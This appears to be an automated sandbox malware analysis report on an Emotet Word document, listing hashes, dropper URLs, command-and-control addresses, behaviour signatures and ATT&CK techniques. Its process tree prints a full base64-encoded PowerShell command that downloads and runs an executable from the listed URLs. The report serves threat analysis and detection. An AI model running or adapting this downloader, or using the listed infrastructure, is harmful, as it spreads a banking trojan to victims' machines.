emotet | 56764b6f66de3b045860f5398b4fb8f24c11ca8d959231a6b0f63d82626f5a55

General

Target

emotet_e3_56764b6f66de3b045860f5398b4fb8f24c11ca8d959231a6b0f63d82626f5a55_2020-08-01__020425._doc.doc
Size

174KB
MD5

1f1814d1e8b8a363efaff979a1899d93
SHA1

c7367392a37a2c25c94dc98f1a43804c2670707a
SHA256

56764b6f66de3b045860f5398b4fb8f24c11ca8d959231a6b0f63d82626f5a55
SHA512

ac6ae1e097d764490f66b28226f1eece3721fedadd8b3f0165cb5dc21eb51a10f5cd2d90d4bd0ce70e01429e44b216e16bcc6316f493c7de2c7808e8e5917a4e

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://prolicitar.com.br/privilege/VwWMjYDU/

exe.dropper

http://proreclame.nl/assets/Riw/

exe.dropper

http://www.meltonian.net/Blog/Zaviixl730/

exe.dropper

http://www.mollymoody.com/iRVKRMq/

exe.dropper

https://mwrouse.com/cs2300/qVJaPCy/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3852	751.exe
2164	AuditPolicyGPInterop.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3596	816	powersheLL.exe	66

Executes dropped EXE 2 IoCs

pid	Process
3852	751.exe
2164	AuditPolicyGPInterop.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3852 wrote to memory of 2164	3852	751.exe	78
PID 3852 wrote to memory of 2164	3852	751.exe	78
PID 3852 wrote to memory of 2164	3852	751.exe	78

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sqlceqp40\AuditPolicyGPInterop.exe	751.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3596	powersheLL.exe
3596	powersheLL.exe
3596	powersheLL.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe
2164	AuditPolicyGPInterop.exe

Blacklisted process makes network request 2 IoCs

flow	pid	Process
17	3596	powersheLL.exe
19	3596	powersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3852-10-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/3852-10-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/2164-13-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/2164-13-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_56764b6f66de3b045860f5398b4fb8f24c11ca8d959231a6b0f63d82626f5a55_2020-08-01__020425._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3596

C:\Users\Admin\751.exe
C:\Users\Admin\751.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3852
- C:\Windows\SysWOW64\sqlceqp40\AuditPolicyGPInterop.exe
  "C:\Windows\SysWOW64\sqlceqp40\AuditPolicyGPInterop.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2164

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2164-13-0x00000000004F0000-0x00000000004FC000-memory.dmp

Filesize
48KB

Download
memory/3488-4-0x000001CB56679000-0x000001CB5668A000-memory.dmp

Filesize
68KB

Download
memory/3852-10-0x0000000002230000-0x000000000223C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads